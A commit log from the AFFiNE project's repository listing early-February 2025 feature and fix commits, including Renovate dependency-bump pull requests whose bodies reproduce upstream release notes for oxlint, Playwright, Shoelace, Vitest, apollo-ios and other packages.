Brooooooklyn
41107eafae
feat(server): allow to set default role in page ( #9963 )
2025-02-06 17:18:50 +00:00
L-Sun
f309f8f3e1
fix(ios): incorrect return of getBlob binding in ios ( #9995 )
2025-02-06 17:03:51 +00:00
Saul-Mirone
5b750bbba4
feat(editor): support delete in flat block proxy ( #9994 )
2025-02-06 16:30:06 +00:00
pengx17
86de184593
fix(electron): split view drag indicator tooltip ( #9979 )
...
fix PD-2244
2025-02-06 16:14:54 +00:00
forehalo
2ff31c6274
build(component): fix component storybook ( #9990 )
2025-02-06 15:58:10 +00:00
zzj3720
1652e6df6b
fix(editor): some UI bugs of table block ( #9987 )
...
close: BS-2507, BS-2508, BS-2511, BS-2519, BS-2523
2025-02-06 15:42:05 +00:00
forehalo
7c7febd495
refactor(server): remove never used column in page permission ( #9985 )
2025-02-06 10:52:05 +00:00
pengx17
d7da12597a
fix(core): use divider component to replace height dividers ( #9986 )
2025-02-06 10:37:05 +00:00
pengx17
5066f50c4f
fix(editor): should focus the textarea will clicking the chat input box ( #9983 )
...

Clicking outside of the textarea should also focuses the textarea
2025-02-06 10:20:05 +00:00
pengx17
40305db838
fix(electron): webpack dev server reloading issue ( #9978 )
2025-02-06 10:05:08 +00:00
forehalo
e9afbbcdc5
fix(server): cannot revalidate licenses ( #9982 )
2025-02-06 09:48:02 +00:00
renovate
0aa9602d26
chore: bump up oxlint version to v0.15.10 ( #9977 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs ) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint )) | [`0.15.9` -> `0.15.10`](https://renovatebot.com/diffs/npm/oxlint/0.15.9/0.15.10 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) |
---
### Release Notes
<details>
<summary>oxc-project/oxc (oxlint)</summary>
### [`v0.15.10`](https://redirect.github.com/oxc-project/oxc/releases/tag/oxlint_v0.15.10 ): oxlint v0.15.10
[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.9...oxlint_v0.15.10 )
#### \[0.15.10] - 2025-02-06
- [`b7ff7e1`](https://redirect.github.com/oxc-project/oxc/commit/b7ff7e1 ) span: \[**BREAKING**] Export `ContentEq` trait from root of `oxc_span` crate ([#​8869](https://redirect.github.com/oxc-project/oxc/issues/8869 )) (overlookmotel)
##### Features
- [`d6d80f7`](https://redirect.github.com/oxc-project/oxc/commit/d6d80f7 ) linter: Add suggestion fixer for `eslint/no-iterator` ([#​8894](https://redirect.github.com/oxc-project/oxc/issues/8894 )) (dalaoshu)
- [`7e8568b`](https://redirect.github.com/oxc-project/oxc/commit/7e8568b ) linter: Junit reporter ([#​8756](https://redirect.github.com/oxc-project/oxc/issues/8756 )) (Tapan Prakash)
- [`f4662a9`](https://redirect.github.com/oxc-project/oxc/commit/f4662a9 ) oxc_language_server: Implement `oxc.fixAll` workspace command ([#​8858](https://redirect.github.com/oxc-project/oxc/issues/8858 )) (Marek Vospel)
##### Bug Fixes
- [`baf3e4e`](https://redirect.github.com/oxc-project/oxc/commit/baf3e4e ) linter: Correctly replace rule severity with duplicate rule name configurations ([#​8840](https://redirect.github.com/oxc-project/oxc/issues/8840 )) (dalaoshu)
##### Performance
- [`8a4988d`](https://redirect.github.com/oxc-project/oxc/commit/8a4988d ) linter: Use parallel iterator directly instead of iter and parallel bridge ([#​8831](https://redirect.github.com/oxc-project/oxc/issues/8831 )) (Cam McHenry)
##### Refactor
- [`bb9d763`](https://redirect.github.com/oxc-project/oxc/commit/bb9d763 ) linter: Remove usage of `url` crate ([#​8833](https://redirect.github.com/oxc-project/oxc/issues/8833 )) (camchenry)
- [`4fcf719`](https://redirect.github.com/oxc-project/oxc/commit/4fcf719 ) linter: Replace MIME guessing with extension check ([#​8832](https://redirect.github.com/oxc-project/oxc/issues/8832 )) (camchenry)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).
🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.
♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box
---
This PR was generated by [Mend Renovate](https://mend.io/renovate/ ). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE ).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xNDUuMCIsInVwZGF0ZWRJblZlciI6IjM5LjE0NS4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-02-06 07:15:36 +00:00
forehalo
d873a78534
feat(server): align pro plan for free in selfhost ( #9973 )
...
close AF-2099
2025-02-06 05:25:06 +00:00
renovate
f00fb327e2
chore: bump up all non-major dependencies ( #9810 )
...
This PR contains the following updates:
| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@clack/prompts](https://redirect.github.com/natemoo-re/clack/tree/main/packages/prompts#readme ) ([source](https://redirect.github.com/natemoo-re/clack/tree/HEAD/packages/prompts )) | [`^0.9.0` -> `^0.10.0`](https://renovatebot.com/diffs/npm/@clack%2fprompts/0.9.1/0.10.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | minor |
| [@graphql-codegen/cli](https://redirect.github.com/dotansimha/graphql-code-generator ) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/graphql-codegen-cli )) | [`5.0.3` -> `5.0.4`](https://renovatebot.com/diffs/npm/@graphql-codegen%2fcli/5.0.3/5.0.4 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs ) | [`3.0.0-alpha.68` -> `3.0.0-alpha.70`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.68/3.0.0-alpha.70 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@playwright/test](https://playwright.dev ) ([source](https://redirect.github.com/microsoft/playwright )) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.49.1/1.50.1 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | minor |
| [@playwright/test](https://playwright.dev ) ([source](https://redirect.github.com/microsoft/playwright )) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.49.1/1.50.1 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | minor |
| [@shoelace-style/shoelace](https://redirect.github.com/shoelace-style/shoelace ) | [`2.19.1` -> `2.20.0`](https://renovatebot.com/diffs/npm/@shoelace-style%2fshoelace/2.19.1/2.20.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | minor |
| [@vitest/browser](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/browser#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/browser )) | [`3.0.4` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fbrowser/3.0.4/3.0.5 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@vitest/coverage-istanbul](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/coverage-istanbul#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/coverage-istanbul )) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fcoverage-istanbul/3.0.2/3.0.5 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [@vitest/ui](https://redirect.github.com/vitest-dev/vitest/tree/main/packages/ui#readme ) ([source](https://redirect.github.com/vitest-dev/vitest/tree/HEAD/packages/ui )) | [`3.0.2` -> `3.0.5`](https://renovatebot.com/diffs/npm/@vitest%2fui/3.0.2/3.0.5 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [apollographql/apollo-ios](https://redirect.github.com/apollographql/apollo-ios ) | `from: "1.16.0"` -> `from: "1.17.0"` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | | minor |
| [gradle](https://gradle.org ) ([source](https://redirect.github.com/gradle/gradle )) | `8.12` -> `8.12.1` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | | patch |
| [lucide-react](https://lucide.dev ) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react )) | [`^0.473.0` -> `^0.474.0`](https://renovatebot.com/diffs/npm/lucide-react/0.473.0/0.474.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | minor |
| [node](https://nodejs.org ) ([source](https://redirect.github.com/nodejs/node )) | `22.13.0` -> `22.13.1` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | | patch |
| [playwright](https://playwright.dev ) ([source](https://redirect.github.com/microsoft/playwright )) | [`=1.49.1` -> `=1.50.1`](https://renovatebot.com/diffs/npm/playwright/1.49.1/1.50.1 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | minor |
| [react-email](https://redirect.github.com/resend/react-email ) ([source](https://redirect.github.com/resend/react-email/tree/HEAD/packages/react-email )) | [`3.0.4` -> `3.0.6`](https://renovatebot.com/diffs/npm/react-email/3.0.4/3.0.6 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | devDependencies | patch |
| [swr](https://swr.vercel.app ) ([source](https://redirect.github.com/vercel/swr )) | [`2.3.0` -> `2.3.2`](https://renovatebot.com/diffs/npm/swr/2.3.0/2.3.2 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | patch |
| [vite](https://vite.dev ) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite )) | [`6.0.9` -> `6.1.0`](https://renovatebot.com/diffs/npm/vite/6.0.9/6.1.0 ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | resolutions | minor |
| [com.apollographql.apollo](https://redirect.github.com/apollographql/apollo-kotlin ) | `4.1.0` -> `4.1.1` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | plugin | patch |
| [com.apollographql.apollo:apollo-api](https://redirect.github.com/apollographql/apollo-kotlin ) | `4.1.0` -> `4.1.1` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | patch |
| [com.apollographql.apollo:apollo-runtime](https://redirect.github.com/apollographql/apollo-kotlin ) | `4.1.0` -> `4.1.1` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | dependencies | patch |
| [org.jetbrains.kotlin.jvm](https://kotlinlang.org/ ) ([source](https://redirect.github.com/JetBrains/kotlin )) | `2.1.0` -> `2.1.10` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | plugin | patch |
| [org.jetbrains.kotlin.android](https://kotlinlang.org/ ) ([source](https://redirect.github.com/JetBrains/kotlin )) | `2.1.0` -> `2.1.10` | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | [](https://docs.renovatebot.com/merge-confidence/ ) | plugin | patch |
---
### Release Notes
<details>
<summary>natemoo-re/clack (@​clack/prompts)</summary>
### [`v0.10.0`](https://redirect.github.com/natemoo-re/clack/blob/HEAD/packages/prompts/CHANGELOG.md#0100 )
[Compare Source](https://redirect.github.com/natemoo-re/clack/compare/@clack/prompts@0.9.1...@clack/prompts@0.10.0 )
##### Minor Changes
- [`613179d`](https://redirect.github.com/natemoo-re/clack/commit/613179d ): Adds a new `indicator` option to `spinner`, which supports the original `"dots"` loading animation or a new `"timer"` loading animation.
```ts
import * as p from "@​clack/prompts";
const spin = p.spinner({ indicator: "timer" });
spin.start("Loading");
await sleep(3000);
spin.stop("Loaded");
```
- [`a38b2bc`](https://redirect.github.com/natemoo-re/clack/commit/a38b2bc ): Adds `stream` API which provides the same methods as `log`, but for iterable (even async) message streams. This is particularly useful for AI responses which are dynamically generated by LLMs.
```ts
import * as p from "@​clack/prompts";
await p.stream.step(
(async function* () {
yield* generateLLMResponse(question);
})()
);
```
</details>
<details>
<summary>dotansimha/graphql-code-generator (@​graphql-codegen/cli)</summary>
### [`v5.0.4`](https://redirect.github.com/dotansimha/graphql-code-generator/blob/HEAD/packages/graphql-codegen-cli/CHANGELOG.md#504 )
[Compare Source](https://redirect.github.com/dotansimha/graphql-code-generator/compare/@graphql-codegen/cli@5.0.3...@graphql-codegen/cli@5.0.4 )
##### Patch Changes
- [#​10248](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10248 ) [`72eb86f`](72eb86f49b ) Thanks [@​renovate](https://redirect.github.com/apps/renovate )! - dependencies updates:
- Updated dependency [`@whatwg-node/fetch@^0.10.0` ↗︎](https://www.npmjs.com/package/@​whatwg-node/fetch/v/0.10.0 ) (from `^0.9.20`, in `dependencies`)
- [#​10227](https://redirect.github.com/dotansimha/graphql-code-generator/pull/10227 ) [`6f1741a`](6f1741af03 ) Thanks [@​eddeee888](https://redirect.github.com/eddeee888 )! - Fix schema pointers type to allow an array of pointers
- Updated dependencies \[[`8737dd8`](8737dd86b4 ), [`ed71811`](ed71811ace )]:
- [@​graphql-codegen/client-preset](https://redirect.github.com/graphql-codegen/client-preset )[@​4](https://redirect.github.com/4 ).6.0
</details>
<details>
<summary>napi-rs/napi-rs (@​napi-rs/cli)</summary>
### [`v3.0.0-alpha.70`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.69...@napi-rs/cli@3.0.0-alpha.70 )
[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.69...@napi-rs/cli@3.0.0-alpha.70 )
### [`v3.0.0-alpha.69`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.68...@napi-rs/cli@3.0.0-alpha.69 )
[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.68...@napi-rs/cli@3.0.0-alpha.69 )
</details>
<details>
<summary>microsoft/playwright (@​playwright/test)</summary>
### [`v1.50.1`](https://redirect.github.com/microsoft/playwright/compare/v1.50.0...dbc685ca98bf937a318f36b0de9ed6e48dac2db5 )
[Compare Source](https://redirect.github.com/microsoft/playwright/compare/v1.50.0...v1.50.1 )
### [`v1.50.0`](https://redirect.github.com/microsoft/playwright/releases/tag/v1.50.0 )
[Compare Source](https://redirect.github.com/microsoft/playwright/compare/v1.49.1...v1.50.0 )
#### Test runner
- New option [`timeout`](https://playwright.dev/docs/api/class-test#test-step-option-timeout ) allows specifying a maximum run time for an individual test step. A timed-out step will fail the execution of the test.
```js
test('some test', async ({ page }) => {
await test.step('a step', async () => {
// This step can time out separately from the test
}, { timeout: 1000 });
});
```
- New method [test.step.skip()](https://playwright.dev/docs/api/class-test#test-step-skip ) to disable execution of a test step.
```js
test('some test', async ({ page }) => {
await test.step('before running step', async () => {
// Normal step
});
await test.step.skip('not yet ready', async () => {
// This step is skipped
});
await test.step('after running step', async () => {
// This step still runs even though the previous one was skipped
});
});
```
- Expanded [expect(locator).toMatchAriaSnapshot()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-match-aria-snapshot-2 ) to allow storing of aria snapshots in separate YAML files.
- Added method [expect(locator).toHaveAccessibleErrorMessage()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-have-accessible-error-message ) to assert the Locator points to an element with a given [aria errormessage](https://w3c.github.io/aria/#aria-errormessage ).
- Option [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots ) added the configuration enum `changed`. `changed` updates only the snapshots that have changed, whereas `all` now updates all snapshots, regardless of whether there are any differences.
- New option [testConfig.updateSourceMethod](https://playwright.dev/docs/api/class-testconfig#test-config-update-source-method ) defines the way source code is updated when [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots ) is configured. Added `overwrite` and `3-way` modes that write the changes into source code, on top of existing `patch` mode that creates a patch file.
```bash
npx playwright test --update-snapshots=changed --update-source-method=3way
```
- Option [testConfig.webServer](https://playwright.dev/docs/api/class-testconfig#test-config-web-server ) added a `gracefulShutdown` field for specifying a process kill signal other than the default `SIGKILL`.
- Exposed [testStep.attachments](https://playwright.dev/docs/api/class-teststep#test-step-attachments ) from the reporter API to allow retrieval of all attachments created by that step.
#### UI updates
- Updated default HTML reporter to improve display of attachments.
- New button for picking elements to produce aria snapshots.
- Additional details (such as keys pressed) are now displayed alongside action API calls in traces.
- Display of `canvas` content in traces is error-prone. Display is now disabled by default, and can be enabled via the `Display canvas content` UI setting.
- `Call` and `Network` panels now display additional time information.
#### Breaking
- [expect(locator).toBeEditable()](https://playwright.dev/docs/api/class-locatorassertions#locator-assertions-to-be-editable ) and [locator.isEditable()](https://playwright.dev/docs/api/class-locator#locator-is-editable ) now throw if the target element is not `<input>`, `<select>`, or a number of other editable elements.
- Option [testConfig.updateSnapshots](https://playwright.dev/docs/api/class-testconfig#test-config-update-snapshots ) now updates all snapshots when set to `all`, rather than only the failed/changed snapshots. Use the new enum `changed` to keep the old functionality of only updating the changed snapshots.
#### Browser Versions
- Chromium 133.0.6943.16
- Mozilla Firefox 134.0
- WebKit 18.2
This version was also tested against the following stable channels:
- Google Chrome 132
- Microsoft Edge 132
</details>
<details>
<summary>shoelace-style/shoelace (@​shoelace-style/shoelace)</summary>
### [`v2.20.0`](https://redirect.github.com/shoelace-style/shoelace/releases/tag/v2.20.0 )
[Compare Source](https://redirect.github.com/shoelace-style/shoelace/compare/v2.19.1...v2.20.0 )
#### Commits
- [`7fd18d1`](https://redirect.github.com/shoelace-style/shoelace/commit/7fd18d1 ): Modify ja.ts ([#​2329](https://redirect.github.com/shoelace-style/shoelace/issues/2329 )) (jz5) [#​2329](https://redirect.github.com/shoelace-style/shoelace/pull/2329 )
- [`c16c533`](https://redirect.github.com/shoelace-style/shoelace/commit/c16c533 ): update changelog (Cory LaViska)
- [`7f88bb3`](https://redirect.github.com/shoelace-style/shoelace/commit/7f88bb3 ): Svelte documentation: adding Two-way Binding example in <sl-select> ([#​2327](https://redirect.github.com/shoelace-style/shoelace/issues/2327 )) (Emanuel Saramago) [#​2327](https://redirect.github.com/shoelace-style/shoelace/pull/2327 )
- [`b5e82d6`](https://redirect.github.com/shoelace-style/shoelace/commit/b5e82d6 ): update docs (Cory LaViska)
- [`81e94f2`](https://redirect.github.com/shoelace-style/shoelace/commit/81e94f2 ): Only trigger defaultslotchange of select after initialization ([#​2318](https://redirect.github.com/shoelace-style/shoelace/issues/2318 )) (Susanne Kirchner) [#​2318](https://redirect.github.com/shoelace-style/shoelace/pull/2318 )
- [`f0c93d0`](https://redirect.github.com/shoelace-style/shoelace/commit/f0c93d0 ): update changelog (Cory LaViska)
- [`6761fdc`](https://redirect.github.com/shoelace-style/shoelace/commit/6761fdc ): Merge branch 'next' of https://github.com/shoelace-style/shoelace into next (Cory LaViska)
- [`b0399ca`](https://redirect.github.com/shoelace-style/shoelace/commit/b0399ca ): fix tabbable for radios ([#​2357](https://redirect.github.com/shoelace-style/shoelace/issues/2357 )) (Konnor Rogers) [#​2357](https://redirect.github.com/shoelace-style/shoelace/pull/2357 )
- [`372ba1f`](https://redirect.github.com/shoelace-style/shoelace/commit/372ba1f ): fix ssr for sl-alert and scrollend-polyfill ([#​2359](https://redirect.github.com/shoelace-style/shoelace/issues/2359 )) (Christian Schilling) [#​2359](https://redirect.github.com/shoelace-style/shoelace/pull/2359 )
- [`69cf94b`](https://redirect.github.com/shoelace-style/shoelace/commit/69cf94b ): Explain why dividers don't show if you use TailwindCSS and add a workaround. ([#​2356](https://redirect.github.com/shoelace-style/shoelace/issues/2356 )) (Marcus) [#​2356](https://redirect.github.com/shoelace-style/shoelace/pull/2356 )
- [`b5f308c`](https://redirect.github.com/shoelace-style/shoelace/commit/b5f308c ): move to section (Cory LaViska)
- [`cb6460c`](https://redirect.github.com/shoelace-style/shoelace/commit/cb6460c ): update action (Cory LaViska)
- [`d93ee89`](https://redirect.github.com/shoelace-style/shoelace/commit/d93ee89 ): add changelog check (Cory LaViska)
- [`0bc6d8c`](https://redirect.github.com/shoelace-style/shoelace/commit/0bc6d8c ): fix error (Cory LaViska)
- [`c3b1fb9`](https://redirect.github.com/shoelace-style/shoelace/commit/c3b1fb9 ): try again (Cory LaViska)
- [`fce7f7c`](https://redirect.github.com/shoelace-style/shoelace/commit/fce7f7c ): fix comment (Cory LaViska)
- [`afc2b06`](https://redirect.github.com/shoelace-style/shoelace/commit/afc2b06 ): sigh (Cory LaViska)
- [`03f8464`](https://redirect.github.com/shoelace-style/shoelace/commit/03f8464 ): ahem (Cory LaViska)
- [`471e6cc`](https://redirect.github.com/shoelace-style/shoelace/commit/471e6cc ): somebody save me (Cory LaViska)
- [`c858a3a`](https://redirect.github.com/shoelace-style/shoelace/commit/c858a3a ): yaml was a mistake (Cory LaViska)
- [`5e11687`](https://redirect.github.com/shoelace-style/shoelace/commit/5e11687 ): save me tarides (Cory LaViska)
- [`4530ba3`](https://redirect.github.com/shoelace-style/shoelace/commit/4530ba3 ): welp (Cory LaViska)
- [`d674577`](https://redirect.github.com/shoelace-style/shoelace/commit/d674577 ): not today i guess (Cory LaViska)
- [`ca8a12b`](https://redirect.github.com/shoelace-style/shoelace/commit/ca8a12b ): maybe, just maybe (Cory LaViska)
- [`74dafea`](https://redirect.github.com/shoelace-style/shoelace/commit/74dafea ): somebody save me (Cory LaViska)
- [`39e4557`](https://redirect.github.com/shoelace-style/shoelace/commit/39e4557 ): ok konnor (Cory LaViska)
- [`d45e6df`](https://redirect.github.com/shoelace-style/shoelace/commit/d45e6df ): revert (Cory LaViska)
- [`e3b117d`](https://redirect.github.com/shoelace-style/shoelace/commit/e3b117d ): i'll get you next time gadget! next time... (Cory LaViska)
- [`a7aadc9`](https://redirect.github.com/shoelace-style/shoelace/commit/a7aadc9 ): SlSplitPanel `snap` improvements. ([#​2340](https://redirect.github.com/shoelace-style/shoelace/issues/2340 )) (Auri Collings) [#​2340](https://redirect.github.com/shoelace-style/shoelace/pull/2340 )
- [`bb8f16a`](https://redirect.github.com/shoelace-style/shoelace/commit/bb8f16a ): fix code field (Cory LaViska)
- [`ee7aa09`](https://redirect.github.com/shoelace-style/shoelace/commit/ee7aa09 ): update changelog (Cory LaViska)
- [`ff34da1`](https://redirect.github.com/shoelace-style/shoelace/commit/ff34da1 ): prettier (Cory LaViska)
- [`de371b3`](https://redirect.github.com/shoelace-style/shoelace/commit/de371b3 ): update version (Cory LaViska)
- [`960de96`](https://redirect.github.com/shoelace-style/shoelace/commit/960de96 ): 2.20.0 (Cory LaViska)
</details>
<details>
<summary>vitest-dev/vitest (@​vitest/browser)</summary>
### [`v3.0.5`](https://redirect.github.com/vitest-dev/vitest/releases/tag/v3.0.5 )
[Compare Source](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
This release includes security patches for:
- [Remote Code Execution when accessing a malicious website while Vitest API server is listening | CVE-2025-24964](https://redirect.github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq )
##### 🚀 Features
- **ui**: Insert message "no tests found" in ui - by [@​DevJoaoLopes](https://redirect.github.com/DevJoaoLopes ) in [https://github.com/vitest-dev/vitest/issues/7366 ](https://redirect.github.com/vitest-dev/vitest/issues/7366 ) [<samp>(92da4)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/92da490bd )
##### 🐞 Bug Fixes
- Validate websocket request - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) and [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7317 ](https://redirect.github.com/vitest-dev/vitest/issues/7317 ) [<samp>(191ef)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/191ef9e34 )
- Don't toggle cli cursor on non-TTY - by [@​AriPerkkio](https://redirect.github.com/AriPerkkio ) in [https://github.com/vitest-dev/vitest/issues/7336 ](https://redirect.github.com/vitest-dev/vitest/issues/7336 ) [<samp>(3c805)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/3c8050e69 )
- **vite-node**: Differentiate file url with hash and query - by [@​hi-ogawa](https://redirect.github.com/hi-ogawa ) in [https://github.com/vitest-dev/vitest/issues/7365 ](https://redirect.github.com/vitest-dev/vitest/issues/7365 ) [<samp>(926ca)</samp>](https://redirect.github.com/vitest-dev/vitest/commit/926ca9546 )
##### [View changes on GitHub](https://redirect.github.com/vitest-dev/vitest/compare/v3.0.4...v3.0.5 )
</details>
<details>
<summary>apollographql/apollo-ios (apollographql/apollo-ios)</summary>
### [`v1.17.0`](https://redirect.github.com/apollographql/apollo-ios/blob/HEAD/CHANGELOG.md#v1170 )
[Compare Source](https://redirect.github.com/apollographql/apollo-ios/compare/1.16.1...1.17.0 )
##### New
- **Add suffix to schema type filenames ([#​2598](https://redirect.github.com/apollographql/apollo-ios/issues/2598 )):** When fragments were named the same as schema types code generation would produce two files with the same name, but at different paths, for each respective type. This would cause a build error in Xcode. There is a new codegen configuration option (`appendSchemaTypeFilenameSuffix`) to add a suffix to schema generated filenames and prevent the build error. See PR [#​580](https://redirect.github.com/apollographql/apollo-ios-dev/pull/580 ).
- **Specify caching fields with `typePolicy` directive ([#​554](https://redirect.github.com/apollographql/apollo-ios-dev/pull/554 )):** The `@typePolicy` directive lets you specify an object's cache ID using key fields of the response object. See the [documentation](https://www.apollographql.com/docs/ios/caching/cache-key-resolution#the-typepolicy-directive ) for full details. *Thank you to [@​x-sheep](https://redirect.github.com/x-sheep ) for the contribution.*
- **Emit `Identifiable` conformance on `SelectionSet` ([#​584](https://redirect.github.com/apollographql/apollo-ios-dev/pull/584 )):** If the `@typePolicy` of a type uses a `keyField` of `id` the selection set will emit conformance to Swifts [`Identifiable` protocol](https://developer.apple.com/documentation/swift/identifiable ). *Thank you to [@​x-sheep](https://redirect.github.com/x-sheep ) for the contribution.*
##### Improvement
- **Improved performance of code generation on operations with many nested fragments ([#​3434](https://redirect.github.com/apollographql/apollo-ios/issues/3434 )):** When fragment field merging is disabled the fragment selection trees are no longer merged into the `EntitySelectionSet` while building operations. See PR [#​571](https://redirect.github.com/apollographql/apollo-ios-dev/pull/571 ).
